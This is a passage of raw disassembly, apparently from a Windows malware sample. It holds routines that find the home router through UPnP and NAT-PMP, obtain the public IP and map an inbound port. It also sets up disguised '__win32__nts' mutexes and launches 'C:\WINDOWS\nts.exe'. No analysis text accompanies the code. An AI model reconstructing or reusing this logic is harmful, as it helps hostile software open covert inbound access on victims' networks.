mov [ebp+var_181C], 2
push offset a239_255_255_25 ; "239.255.255.250"
call sub_447C89 ; inet_addr
mov [ebp+var_1818], eax
push 76Ch
call sub_447C59 ; htons
mov [ebp+var_181A], ax
mov [ebp+var_404], 1
push 11h
push 2
push 2
call sub_447C3B ; socket
mov [ebp+var_408], eax
and [ebp+var_1828], 0
mov [ebp+var_1824], 1
push offset a239_255_255_25 ; "239.255.255.250"
call sub_447C89 ; inet_addr
mov [ebp+var_1828], eax
push 8
lea eax, [ebp+var_1828]
push eax
push 5
push 0
mov eax, [ebp+var_408]
push eax
call sub_447C41 ; setsockopt
test eax, eax
jge short loc_443B4D
push offset aShit ; "shit!\n"
call sub_4481E1
pop ecx
loc_443B4D: ; CODE XREF: sub_443A83+BDj
lea eax, [ebp+var_181C]
mov [ebp+var_182C], eax
push 10h
push [ebp+var_182C]
mov eax, [ebp+var_408]
push eax
call sub_447C65 ; bind
cmp eax, 0FFFFFFFFh
jnz loc_444003
push offset aXbind___ ; "xbind...\n"
call sub_4481E1
pop ecx
jmp loc_444003
; ---------------------------------------------------------------------------
loc_443B86: ; CODE XREF: sub_443A83+587j
mov [ebp+var_1884], 10h
push [ebp+var_404]
push offset aSendingIupnpDi ; "sending IUPnP discovery request #%i...\n"...
call sub_4481E1
pop ecx
pop ecx
push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
call sub_4485D1
pop ecx
push 10h
lea edx, [ebp+var_181C]
push edx
push 0
push eax
push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
mov eax, [ebp+var_408]
push eax
call sub_447CA7 ; sendto
test eax, eax
jge short loc_443BE1
mov eax, [ebp+var_408]
push eax
call sub_447C47 ; closesocket
xor eax, eax
jmp loc_44401E
; ---------------------------------------------------------------------------
loc_443BE1: ; CODE XREF: sub_443A83+149j
push [ebp+var_404]
push offset aSetsockoptIupn ; "setsockopt IUPnP discovery request #%i."...
call sub_4481E1
pop ecx
pop ecx
push 4
lea eax, [ebp+var_1820]
push eax
push 1006h
push 0FFFFh
mov eax, [ebp+var_408]
push eax
call sub_447C41 ; setsockopt
test eax, eax
jge short loc_443C29
mov eax, [ebp+var_408]
push eax
call sub_447C47 ; closesocket
xor eax, eax
jmp loc_44401E
; ---------------------------------------------------------------------------
loc_443C29: ; CODE XREF: sub_443A83+191j
push [ebp+var_404]
push offset aReceivingIupnp ; "receiving IUPnP discovery request #%i.."...
call sub_4481E1
pop ecx
pop ecx
lea eax, [ebp+var_1884]
push eax
lea eax, [ebp+var_189C]
push eax
push 0
push 1000h
lea eax, [ebp+var_1409]
push eax
mov eax, [ebp+var_408]
push eax
call sub_447CAD ; recvfrom
test eax, eax
jge short loc_443C93
call sub_447CB3 ; WSAGetLastError
cmp eax, 274Ch
jnz short loc_443C80
cmp [ebp+var_404], 3
jnz loc_443FFD
loc_443C80: ; CODE XREF: sub_443A83+1EEj
mov eax, [ebp+var_408]
push eax
call sub_447C47 ; closesocket
xor eax, eax
jmp loc_44401E
; ---------------------------------------------------------------------------
loc_443C93: ; CODE XREF: sub_443A83+1E2j
mov eax, [ebp+var_1884]
mov [ebp+eax+var_1409], 0
push [ebp+var_404]
push offset aIupnpDiscovery ; "IUPnP discovery request #%i -- checking"...
call sub_4481E1
pop ecx
pop ecx
push offset aSchemasUpnpOrg ; "schemas-upnp-org:service:WANIPConnectio"...
lea eax, [ebp+var_1409]
push eax
call sub_443492
pop ecx
pop ecx
test eax, eax
jnz short loc_443CE1
push [ebp+var_404]
push offset aIupnpDiscove_0 ; "IUPnP discovery request #%i: bad (0)..."...
call sub_4481E1
pop ecx
pop ecx
jmp loc_443FFD
; ---------------------------------------------------------------------------
loc_443CE1: ; CODE XREF: sub_443A83+245j
push offset aLocation ; "location"
lea eax, [ebp+var_1409]
push eax
call sub_443492
pop ecx
pop ecx
mov ebx, eax
test ebx, ebx
jnz short loc_443D12
push [ebp+var_404]
push offset aIupnpDiscove_1 ; "IUPnP discovery request #%i: bad (1)..."...
call sub_4481E1
pop ecx
pop ecx
jmp loc_443FFD
; ---------------------------------------------------------------------------
loc_443D11: ; CODE XREF: sub_443A83+297j
inc ebx
loc_443D12: ; CODE XREF: sub_443A83+275j
mov al, [ebx]
test al, al
jz short loc_443D1C
cmp al, 3Ah
jnz short loc_443D11
loc_443D1C: ; CODE XREF: sub_443A83+293j
cmp byte ptr [ebx], 0
jz short loc_443D25
inc ebx
jmp short loc_443D25
; ---------------------------------------------------------------------------
loc_443D24: ; CODE XREF: sub_443A83+2AAj
inc ebx
loc_443D25: ; CODE XREF: sub_443A83+29Cj
; sub_443A83+29Fj
mov al, [ebx]
test al, al
jz short loc_443D2F
cmp al, 20h
jz short loc_443D24
loc_443D2F: ; CODE XREF: sub_443A83+2A6j
lea eax, [ebp+var_1809]
mov [ebp+var_1834], eax
jmp short loc_443D4E
; ---------------------------------------------------------------------------
loc_443D3D: ; CODE XREF: sub_443A83+2D3j
mov edx, [ebp+var_1834]
mov al, [ebx]
mov [edx], al
inc [ebp+var_1834]
inc ebx
loc_443D4E: ; CODE XREF: sub_443A83+2B8j
mov al, [ebx]
test al, al
jz short loc_443D58
cmp al, 20h
jg short loc_443D3D
loc_443D58: ; CODE XREF: sub_443A83+2CFj
mov edx, [ebp+var_1834]
mov byte ptr [edx], 0
lea eax, [ebp+var_1809]
push eax
call sub_4485D1
pop ecx
test eax, eax
jnz short loc_443D89
push [ebp+var_404]
push offset aIupnpDiscove_2 ; "IUPnP discovery request #%i: bad (2)..."...
call sub_4481E1
pop ecx
pop ecx
jmp loc_443FFD
; ---------------------------------------------------------------------------
loc_443D89: ; CODE XREF: sub_443A83+2EDj
mov [ebp+var_183E], 0
lea eax, [ebp+var_1809]
push eax
push offset aLocationS ; "location: <%s>\n"
call sub_4481E1
pop ecx
pop ecx
lea eax, [ebp+var_183E]
push eax
lea eax, [ebp+var_187E]
push eax
lea eax, [ebp+var_1809]
push eax
call sub_44352A
add esp, 0Ch
mov [ebp+var_183C], eax
test eax, eax
jnz short loc_443DE3
push [ebp+var_404]
push offset aIupnpDiscove_3 ; "IUPnP discovery request #%i: bad (3)..."...
call sub_4481E1
pop ecx
pop ecx
jmp loc_443FFD
; ---------------------------------------------------------------------------
loc_443DE3: ; CODE XREF: sub_443A83+347j
push offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANIPConne"...
push [ebp+var_183C]
call sub_443492
pop ecx
pop ecx
mov [ebp+var_188C], eax
test eax, eax
jnz short loc_443E10
push [ebp+var_183C]
call sub_441FF7
pop ecx
jmp loc_443FFD
; ---------------------------------------------------------------------------
loc_443E10: ; CODE XREF: sub_443A83+37Aj
mov eax, [ebp+var_183C]
mov [ebp+var_1830], eax
loc_443E1C: ; CODE XREF: sub_443A83+3CBj
push offset aService_0 ; "<service>"
push [ebp+var_1830]
call sub_443492
pop ecx
pop ecx
mov [ebp+var_18A0], eax
test eax, eax
jz short loc_443E40
cmp eax, [ebp+var_1830]
jbe short loc_443E42
loc_443E40: ; CODE XREF: sub_443A83+3B3j
jmp short loc_443E50
; ---------------------------------------------------------------------------
loc_443E42: ; CODE XREF: sub_443A83+3BBj
mov eax, [ebp+var_18A0]
mov [ebp+var_1830], eax
jmp short loc_443E1C
; ---------------------------------------------------------------------------
loc_443E50: ; CODE XREF: sub_443A83:loc_443E40j
push offset aService ; "</service>"
push [ebp+var_1830]
call sub_443492
pop ecx
pop ecx
mov [ebp+var_1888], eax
test eax, eax
jnz short loc_443E7D
push [ebp+var_183C]
call sub_441FF7
pop ecx
jmp loc_443FFD
; ---------------------------------------------------------------------------
loc_443E7D: ; CODE XREF: sub_443A83+3E7j
push offset aControlurl ; "<controlURL>"
push [ebp+var_1830]
call sub_443492
pop ecx
pop ecx
mov esi, eax
test esi, esi
jz short loc_443E9D
cmp esi, [ebp+var_1888]
jb short loc_443EAE
loc_443E9D: ; CODE XREF: sub_443A83+410j
push [ebp+var_183C]
call sub_441FF7
pop ecx
jmp loc_443FFD
; ---------------------------------------------------------------------------
loc_443EAE: ; CODE XREF: sub_443A83+418j
push 400h
push 0
lea eax, [ebp+var_400]
push eax
call sub_448551
add esp, 0Ch
jmp short loc_443EC7
; ---------------------------------------------------------------------------
loc_443EC6: ; CODE XREF: sub_443A83+44Cj
inc esi
loc_443EC7: ; CODE XREF: sub_443A83+441j
mov al, [esi]
test al, al
jz short loc_443ED1
cmp al, 3Eh
jnz short loc_443EC6
loc_443ED1: ; CODE XREF: sub_443A83+448j
cmp byte ptr [esi], 0
jz short loc_443ED7
inc esi
loc_443ED7: ; CODE XREF: sub_443A83+451j
cmp byte ptr [esi], 0
jnz short loc_443EED
push [ebp+var_183C]
call sub_441FF7
pop ecx
jmp loc_443FFD
; ---------------------------------------------------------------------------
loc_443EED: ; CODE XREF: sub_443A83+457j
and [ebp+var_1838], 0
jmp short loc_443F0C
; ---------------------------------------------------------------------------
loc_443EF6: ; CODE XREF: sub_443A83+491j
mov eax, [ebp+var_1838]
mov dl, [esi]
mov [ebp+eax+var_400], dl
inc [ebp+var_1838]
inc esi
loc_443F0C: ; CODE XREF: sub_443A83+471j
mov al, [esi]
test al, al
jz short loc_443F16
cmp al, 3Ch
jnz short loc_443EF6
loc_443F16: ; CODE XREF: sub_443A83+48Dj
mov eax, [ebp+var_1838]
mov [ebp+eax+var_400], 0
push offset aHttp ; "http://"
lea eax, [ebp+var_400]
push eax
call sub_443492
pop ecx
pop ecx
mov edi, eax
test edi, edi
jnz short loc_443F46
lea edi, [ebp+var_400]
jmp short loc_443F76
; ---------------------------------------------------------------------------
loc_443F45: ; CODE XREF: sub_443A83+4CBj
inc edi
loc_443F46: ; CODE XREF: sub_443A83+4B8j
mov al, [edi]
test al, al
jz short loc_443F50
cmp al, 3Ah
jnz short loc_443F45
loc_443F50: ; CODE XREF: sub_443A83+4C7j
cmp byte ptr [edi], 0
jz short loc_443F59
inc edi
jmp short loc_443F59
; ---------------------------------------------------------------------------
loc_443F58: ; CODE XREF: sub_443A83+4DEj
inc edi
loc_443F59: ; CODE XREF: sub_443A83+4D0j
; sub_443A83+4D3j
mov al, [edi]
test al, al
jz short loc_443F63
cmp al, 2Fh
jz short loc_443F58
loc_443F63: ; CODE XREF: sub_443A83+4DAj
cmp byte ptr [edi], 0
jz short loc_443F6C
inc edi
jmp short loc_443F6C
; ---------------------------------------------------------------------------
loc_443F6B: ; CODE XREF: sub_443A83+4F1j
inc edi
loc_443F6C: ; CODE XREF: sub_443A83+4E3j
; sub_443A83+4E6j
mov al, [edi]
test al, al
jz short loc_443F76
cmp al, 2Fh
jnz short loc_443F6B
loc_443F76: ; CODE XREF: sub_443A83+4C0j
; sub_443A83+4EDj
movzx eax, [ebp+arg_4]
push eax
movzx eax, [ebp+arg_0]
push eax
push edi
movzx eax, [ebp+var_183E]
push eax
lea eax, [ebp+var_187E]
push eax
push 0
call sub_443817
add esp, 18h
test eax, eax
jnz short loc_443FDA
movzx eax, [ebp+arg_4]
push eax
movzx eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_400]
push eax
movzx eax, [ebp+var_183E]
push eax
lea eax, [ebp+var_187E]
push eax
push 1
call sub_443817
add esp, 18h
test eax, eax
jnz short loc_443FDA
push [ebp+var_183C]
call sub_441FF7
pop ecx
jmp short loc_443FFD
; ---------------------------------------------------------------------------
loc_443FDA: ; CODE XREF: sub_443A83+519j
; sub_443A83+547j
push [ebp+var_404]
push offset aIupnpDiscove_4 ; "IUPnP discovery request #%i: ok.\n"
call sub_4481E1
pop ecx
pop ecx
mov eax, [ebp+var_408]
push eax
call sub_447C47 ; closesocket
xor eax, eax
inc eax
jmp short loc_44401E
; ---------------------------------------------------------------------------
loc_443FFD: ; CODE XREF: sub_443A83+1F7j
; sub_443A83+259j ...
inc [ebp+var_404]
loc_444003: ; CODE XREF: sub_443A83+EDj
; sub_443A83+FEj
cmp [ebp+var_404], 3
jl loc_443B86
mov eax, [ebp+var_408]
push eax
call sub_447C47 ; closesocket
xor eax, eax
loc_44401E: ; CODE XREF: sub_443A83+159j
; sub_443A83+1A1j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_443A83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444025 proc near ; CODE XREF: sub_444094+16p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
and [ebp+var_4], 0
xor esi, esi
push 3Ch
call sub_441FC9
pop ecx
mov ebx, eax
test eax, eax
jz short loc_44408E
push 0
lea eax, [ebp+var_4]
push eax
push ebx
call sub_447CB9 ; GetIpForwardTable
cmp eax, 7Ah
jnz short loc_444069
push ebx
call sub_441FF7
pop ecx
mov eax, [ebp+var_4]
push eax
call sub_441FC9
pop ecx
mov ebx, eax
test eax, eax
jz short loc_44408E
loc_444069: ; CODE XREF: sub_444025+2Bj
push 0
lea eax, [ebp+var_4]
push eax
push ebx
call sub_447CB9 ; GetIpForwardTable
test eax, eax
jnz short loc_444085
mov eax, [ebx]
mov [ebp+var_8], eax
test eax, eax
jz short loc_444085
mov esi, [ebx+10h]
loc_444085: ; CODE XREF: sub_444025+52j
; sub_444025+5Bj
push ebx
call sub_441FF7
pop ecx
mov eax, esi
loc_44408E: ; CODE XREF: sub_444025+1Aj
; sub_444025+42j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_444025 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444094 proc near ; CODE XREF: DMN1:00444502p
; DMN1:004459DDp
var_C0 = dword ptr -0C0h
var_BC = byte ptr -0BCh
var_B8 = dword ptr -0B8h
var_AC = word ptr -0ACh
var_AA = word ptr -0AAh
var_A8 = dword ptr -0A8h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = word ptr -94h
var_92 = word ptr -92h
var_90 = dword ptr -90h
var_84 = dword ptr -84h
var_80 = byte ptr -80h
var_7F = byte ptr -7Fh
var_78 = byte ptr -78h
push ebp
mov ebp, esp
sub esp, 0C0h
push ebx
push esi
push edi
mov [ebp+var_9C], 0FAh
call sub_444025
mov [ebp+var_84], eax
test eax, eax
jz loc_44429C
mov [ebp+var_94], 2
mov eax, [ebp+var_84]
mov [ebp+var_90], eax
push 14E7h
call sub_447C59 ; htons
mov [ebp+var_92], ax
mov eax, [ebp+var_84]
mov [ebp+var_98], eax
push eax
call sub_447CA1 ; inet_ntoa
push eax
push offset aDefaultGateway ; "default gateway: [%s]\n"
call sub_4481E1
pop ecx
pop ecx
xor ebx, ebx
inc ebx
push 11h
push 2
push 2
call sub_447C3B ; socket
mov esi, eax
push 10h
push 0
lea eax, [ebp+var_AC]
push eax
call sub_448551
add esp, 0Ch
mov [ebp+var_AC], 2
mov eax, [ebp+var_84]
mov [ebp+var_A8], eax
push 14E7h
call sub_447C59 ; htons
mov [ebp+var_AA], ax
lea edi, [ebp+var_AC]
push 10h
push edi
push esi
call sub_447C65 ; bind
jmp loc_44428B
; ---------------------------------------------------------------------------
loc_44415F: ; CODE XREF: sub_444094+1FAj
mov [ebp+var_C0], 10h
push ebx
push offset aSendingNatPmpR ; "sending NAT-PMP request #%i...\n"
call sub_4481E1
pop ecx
pop ecx
mov [ebp+var_80], 0
mov [ebp+var_7F], 0
push 10h
lea eax, [ebp+var_94]
push eax
push 0
push 2
lea eax, [ebp+var_80]
push eax
push esi
call sub_447CA7 ; sendto
test eax, eax
jge short loc_4441A6
push esi
call sub_447C47 ; closesocket
xor eax, eax
jmp loc_44429C
; ---------------------------------------------------------------------------
loc_4441A6: ; CODE XREF: sub_444094+103j
push ebx
push offset aSetsockoptNatP ; "setsockopt NAT-PMP request #%i...\n"
call sub_4481E1
pop ecx
pop ecx
push 4
lea eax, [ebp+var_9C]
push eax
push 1006h
push 0FFFFh
push esi
call sub_447C41 ; setsockopt
test eax, eax
jge short loc_4441DD
push esi
call sub_447C47 ; closesocket
xor eax, eax
jmp loc_44429C
; ---------------------------------------------------------------------------
loc_4441DD: ; CODE XREF: sub_444094+13Aj
push ebx
push offset aReceivingNatPm ; "receiving NAT-PMP request #%i...\n"
call sub_4481E1
pop ecx
pop ecx
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_BC]
push eax
push 0
push 0Ch
lea eax, [ebp+var_80]
push eax
push esi
call sub_447CAD ; recvfrom
test eax, eax
jge short loc_444225
call sub_447CB3 ; WSAGetLastError
cmp eax, 274Ch
jnz short loc_44421B
cmp ebx, 9
jnz short loc_444284
loc_44421B: ; CODE XREF: sub_444094+180j
push esi
call sub_447C47 ; closesocket
xor eax, eax
jmp short loc_44429C
; ---------------------------------------------------------------------------
loc_444225: ; CODE XREF: sub_444094+174j
push ebx
push offset aNatPmpRequestI ; "NAT-PMP request #%i - ok\n"
call sub_4481E1
pop ecx
pop ecx
mov eax, [ebp+var_90]
cmp [ebp+var_B8], eax
jnz short loc_444284
push 4
lea eax, [ebp+var_78]
push eax
lea eax, [ebp+var_84]
push eax
call sub_4485B1
add esp, 0Ch
mov eax, [ebp+var_84]
mov [ebp+var_98], eax
push eax
call sub_447CA1 ; inet_ntoa
push eax
push ebx
push offset aNatPmpReques_0 ; "NAT-PMP request #%i - public IP: [%s]\n"
call sub_4481E1
add esp, 0Ch
push esi
call sub_447C47 ; closesocket
mov eax, [ebp+var_84]
jmp short loc_44429C
; ---------------------------------------------------------------------------
loc_444284: ; CODE XREF: sub_444094+185j
; sub_444094+1AAj
inc ebx
shl [ebp+var_9C], 1
loc_44428B: ; CODE XREF: sub_444094+C6j
cmp ebx, 0Ah
jl loc_44415F
push esi
call sub_447C47 ; closesocket
xor eax, eax
loc_44429C: ; CODE XREF: sub_444094+23j
; sub_444094+10Dj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_444094 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4442A3 proc near ; CODE XREF: DMN1:0044451Ep
; DMN1:004459F8p
var_C0 = dword ptr -0C0h
var_BC = byte ptr -0BCh
var_B8 = dword ptr -0B8h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = word ptr -0A4h
var_A2 = word ptr -0A2h
var_A0 = dword ptr -0A0h
var_94 = dword ptr -94h
var_90 = word ptr -90h
var_8E = word ptr -8Eh
var_8C = dword ptr -8Ch
var_80 = byte ptr -80h
var_7F = byte ptr -7Fh
var_7E = byte ptr -7Eh
var_7D = byte ptr -7Dh
var_7C = byte ptr -7Ch
var_7A = byte ptr -7Ah
var_78 = byte ptr -78h
var_76 = byte ptr -76h
var_75 = byte ptr -75h
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = word ptr 10h
push ebp
mov ebp, esp
sub esp, 0C0h
push ebx
push esi
push edi
mov [ebp+var_94], 0FAh
mov [ebp+var_90], 2
mov eax, [ebp+arg_0]
mov [ebp+var_8C], eax
push 14E7h
call sub_447C59 ; htons
mov [ebp+var_8E], ax
mov eax, [ebp+arg_0]
mov [ebp+var_A8], eax
push eax
call sub_447CA1 ; inet_ntoa
push eax
push offset aRouterIpS ; "router ip: [%s]\n"
call sub_4481E1
pop ecx
pop ecx
xor esi, esi
inc esi
push 11h
push 2
push 2
call sub_447C3B ; socket
mov edi, eax
push 10h
push 0
lea eax, [ebp+var_A4]
push eax
call sub_448551
add esp, 0Ch
mov [ebp+var_A4], 2
mov eax, [ebp+arg_0]
mov [ebp+var_A0], eax
push 14E7h
call sub_447C59 ; htons
mov [ebp+var_A2], ax
lea eax, [ebp+var_A4]
mov [ebp+var_AC], eax
push 10h
push [ebp+var_AC]
push edi
call sub_447C65 ; bind
jmp loc_4444D3
; ---------------------------------------------------------------------------
loc_44435D: ; CODE XREF: sub_4442A3+233j
mov [ebp+var_C0], 10h
push esi
push offset aSendingNatPmpF ; "sending NAT-PMP fwd request #%i...\n"
call sub_4481E1
pop ecx
pop ecx
mov [ebp+var_80], 0
mov [ebp+var_7F], 2
mov [ebp+var_7E], 0
mov [ebp+var_7D], 0
lea ebx, [ebp+var_7C]
movzx eax, [ebp+arg_4]
push eax
call sub_447C59 ; htons
mov [ebx], ax
lea ebx, [ebp+var_7A]
movzx eax, [ebp+arg_8]
push eax
call sub_447C59 ; htons
mov [ebx], ax
lea ebx, [ebp+var_78]
mov word ptr [ebx], 0E10h
mov [ebp+var_76], 0
mov [ebp+var_75], 0
push 10h
lea eax, [ebp+var_90]
push eax
push 0
push 0Ch
lea eax, [ebp+var_80]
push eax
push edi
call sub_447CA7 ; sendto
test eax, eax
jge short loc_4443DC
push edi
call sub_447C47 ; closesocket
xor eax, eax
jmp loc_4444E4
; ---------------------------------------------------------------------------
loc_4443DC: ; CODE XREF: sub_4442A3+12Aj
push esi
push offset aSetsockoptNa_0 ; "setsockopt NAT-PMP fwd request #%i...\n"
call sub_4481E1
pop ecx
pop ecx
push 4
lea eax, [ebp+var_94]
push eax
push 1006h
push 0FFFFh
push edi
call sub_447C41 ; setsockopt
test eax, eax
jge short loc_444413
push edi
call sub_447C47 ; closesocket
xor eax, eax
jmp loc_4444E4
; ---------------------------------------------------------------------------
loc_444413: ; CODE XREF: sub_4442A3+161j
push esi
push offset aReceivingNat_0 ; "receiving NAT-PMP fwd request #%i...\n"
call sub_4481E1
pop ecx
pop ecx
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_BC]
push eax
push 0
push 10h
lea eax, [ebp+var_80]
push eax
push edi
call sub_447CAD ; recvfrom
test eax, eax
jge short loc_44445E
call sub_447CB3 ; WSAGetLastError
cmp eax, 274Ch
jnz short loc_444451
cmp esi, 9
jnz short loc_4444CC
loc_444451: ; CODE XREF: sub_4442A3+1A7j
push edi
call sub_447C47 ; closesocket
xor eax, eax
jmp loc_4444E4
; ---------------------------------------------------------------------------
loc_44445E: ; CODE XREF: sub_4442A3+19Bj
push esi
push offset aNatPmpFwdReque ; "NAT-PMP fwd request #%i - ok\n"
call sub_4481E1
pop ecx
pop ecx
mov eax, [ebp+var_8C]
cmp [ebp+var_B8], eax
jnz short loc_4444CC
cmp [ebp+var_7F], 82h
jnz short loc_4444CC
lea ebx, [ebp+var_7E]
cmp word ptr [ebx], 0
jnz short loc_4444CC
lea ebx, [ebp+var_78]
movzx eax, [ebp+arg_4]
push eax
call sub_447C59 ; htons
cmp [ebx], ax
jnz short loc_4444CC
lea ebx, [ebp+var_76]
movzx eax, word ptr [ebx]
push eax
call sub_447C77 ; htons
movzx eax, ax
push eax
push esi
push offset aNatPmpReques_1 ; "NAT-PMP request #%i - port: [%i]\n"
call sub_4481E1
add esp, 0Ch
push edi
call sub_447C47 ; closesocket
movzx eax, word ptr [ebx]
push eax
call sub_447C59 ; htons
movzx eax, ax
jmp short loc_4444E4
; ---------------------------------------------------------------------------
loc_4444CC: ; CODE XREF: sub_4442A3+1ACj
; sub_4442A3+1D4j ...
inc esi
shl [ebp+var_94], 1
loc_4444D3: ; CODE XREF: sub_4442A3+B5j
cmp esi, 0Ah
jl loc_44435D
push edi
call sub_447C47 ; closesocket
xor eax, eax
loc_4444E4: ; CODE XREF: sub_4442A3+134j
; sub_4442A3+16Bj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4442A3 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
loc_4444EE: ; CODE XREF: DMN1:loc_44457Cj
xor ebx, ebx
inc ebx
loc_4444F1: ; CODE XREF: DMN1:00444500j
push 0EA60h
call dword_411D00 ; Sleep
inc ebx
cmp ebx, 3Fh
jl short loc_4444F1
call sub_444094
mov edi, eax
mov eax, dword_411010
mov si, ax
movzx eax, si
push eax
movzx eax, word ptr dword_41100C
push eax
push edi
call sub_4442A3
add esp, 0Ch
mov si, ax
test si, si
jz short loc_44454E
movzx eax, si
cmp eax, dword_411010
jz short loc_44454E
movzx eax, si
mov dword_411010, eax
push 1
push offset dword_411024
call dword_411D04 ; InterlockedExchange
loc_44454E: ; CODE XREF: DMN1:0044452Cj
; DMN1:00444537j
movzx eax, word ptr dword_41100C
push eax
push eax
call sub_443A83
pop ecx
pop ecx
test eax, eax
jz short loc_44457C
mov eax, dword_41100C
cmp dword_411010, eax
jz short loc_44457C
push 1
push offset dword_411024
call dword_411D04 ; InterlockedExchange
loc_44457C: ; CODE XREF: DMN1:00444560j
; DMN1:0044456Dj
jmp loc_4444EE
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_444585 proc near ; CODE XREF: sub_447672+77p
push ebx
cmp dword_411018, 0
jz short loc_444593
xor eax, eax
jmp short loc_4445D7
; ---------------------------------------------------------------------------
loc_444593: ; CODE XREF: sub_444585+8j
xor ebx, ebx
push offset a__win32__nts_s ; "__win32__nts_sdm__"
push 0
push 0
call dword_411D08 ; CreateMutexA
mov dword_411018, eax
cmp dword_411018, 0
jz short loc_4445D5
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 0B7h
jnz short loc_4445D5
xor ebx, ebx
inc ebx
push dword_411018
call dword_411CF8 ; CloseHandle
and dword_411018, 0
loc_4445D5: ; CODE XREF: sub_444585+2Bj
; sub_444585+38j
mov eax, ebx
loc_4445D7: ; CODE XREF: sub_444585+Cj
pop ebx
retn
sub_444585 endp
; =============== S U B R O U T I N E =======================================
sub_4445D9 proc near ; CODE XREF: DMN1:loc_444F6Bp
; DMN1:00445010p ...
push ebx
push esi
xor esi, esi
push offset a__win32__nts_s ; "__win32__nts_sdm__"
push 0
push 100000h
call dword_411D0C ; OpenMutexA
mov ebx, eax
test ebx, ebx
jz short loc_444601
xor esi, esi
inc esi
push ebx
call dword_411CF8 ; CloseHandle
xor ebx, ebx
loc_444601: ; CODE XREF: sub_4445D9+1Aj
mov eax, esi
pop esi
pop ebx
retn
sub_4445D9 endp
; =============== S U B R O U T I N E =======================================
sub_444606 proc near ; CODE XREF: sub_447672+C5p
cmp dword_411018, 0
jz short locret_444622
push dword_411018
call dword_411CF8 ; CloseHandle
and dword_411018, 0
locret_444622: ; CODE XREF: sub_444606+7j
retn
sub_444606 endp
; ---------------------------------------------------------------------------
push ebx
cmp dword_41101C, 0
jz short loc_444631
xor eax, eax
jmp short loc_444675
; ---------------------------------------------------------------------------
loc_444631: ; CODE XREF: DMN1:0044462Bj
xor ebx, ebx
push offset a_win32__nts_sm ; "_win32__nts_sm__"
push 0
push 0
call dword_411D08 ; CreateMutexA
mov dword_41101C, eax
cmp dword_41101C, 0
jz short loc_444673
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 0B7h
jnz short loc_444673
xor ebx, ebx
inc ebx
push dword_41101C
call dword_411CF8 ; CloseHandle
and dword_41101C, 0
loc_444673: ; CODE XREF: DMN1:0044464Ej
; DMN1:0044465Bj
mov eax, ebx
loc_444675: ; CODE XREF: DMN1:0044462Fj
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_444677 proc near ; CODE XREF: DMN1:0044740Fp
; DMN1:loc_447599p
push ebx
push esi
xor esi, esi
push offset a_win32__nts_sm ; "_win32__nts_sm__"
push 0
push 100000h
call dword_411D0C ; OpenMutexA
mov ebx, eax
test ebx, ebx
jz short loc_44469F
xor esi, esi
inc esi
push ebx
call dword_411CF8 ; CloseHandle
xor ebx, ebx
loc_44469F: ; CODE XREF: sub_444677+1Aj
mov eax, esi
pop esi
pop ebx
retn
sub_444677 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4446A4 proc near ; CODE XREF: DMN1:00444A89p
; sub_447672+FBp ...
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_844 = byte ptr -844h
var_44 = dword ptr -44h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_C]
test esi, esi
jz short loc_4446BC
and dword ptr [esi], 0
loc_4446BC: ; CODE XREF: sub_4446A4+13j
push 44h
push 0
lea eax, [ebp+var_44]
push eax
call sub_448551
add esp, 0Ch
mov [ebp+var_44], 44h
test ebx, ebx
jz short loc_4446EC
push offset asc_40EDC7 ; "\""
lea eax, [ebp+var_844]
push eax
call sub_4485F1
pop ecx
pop ecx
jmp short loc_4446F3
; ---------------------------------------------------------------------------
loc_4446EC: ; CODE XREF: sub_4446A4+31j
mov [ebp+var_844], 0
loc_4446F3: ; CODE XREF: sub_4446A4+46j
cmp [ebp+arg_0], 0
jz short loc_44470C
push [ebp+arg_0]
lea eax, [ebp+var_844]
push eax
call sub_448611
pop ecx
pop ecx
jmp short loc_44471F
; ---------------------------------------------------------------------------
loc_44470C: ; CODE XREF: sub_4446A4+53j
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
lea eax, [ebp+var_844]
push eax
call sub_448611
pop ecx
pop ecx
loc_44471F: ; CODE XREF: sub_4446A4+66j
test ebx, ebx
jz short loc_444736
push offset asc_40EDC7 ; "\""
lea eax, [ebp+var_844]
push eax
call sub_448611
pop ecx
pop ecx
loc_444736: ; CODE XREF: sub_4446A4+7Dj
cmp [ebp+arg_4], 0
jz short loc_444760
push offset asc_40EDB2 ; " "
lea eax, [ebp+var_844]
push eax
call sub_448611
pop ecx
pop ecx
push [ebp+arg_4]
lea eax, [ebp+var_844]
push eax
call sub_448611
pop ecx
pop ecx
loc_444760: ; CODE XREF: sub_4446A4+96j
lea eax, [ebp+var_854]
push eax
lea eax, [ebp+var_44]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp+var_844]
push eax
push 0
call dword_411D10 ; CreateProcessA
test eax, eax
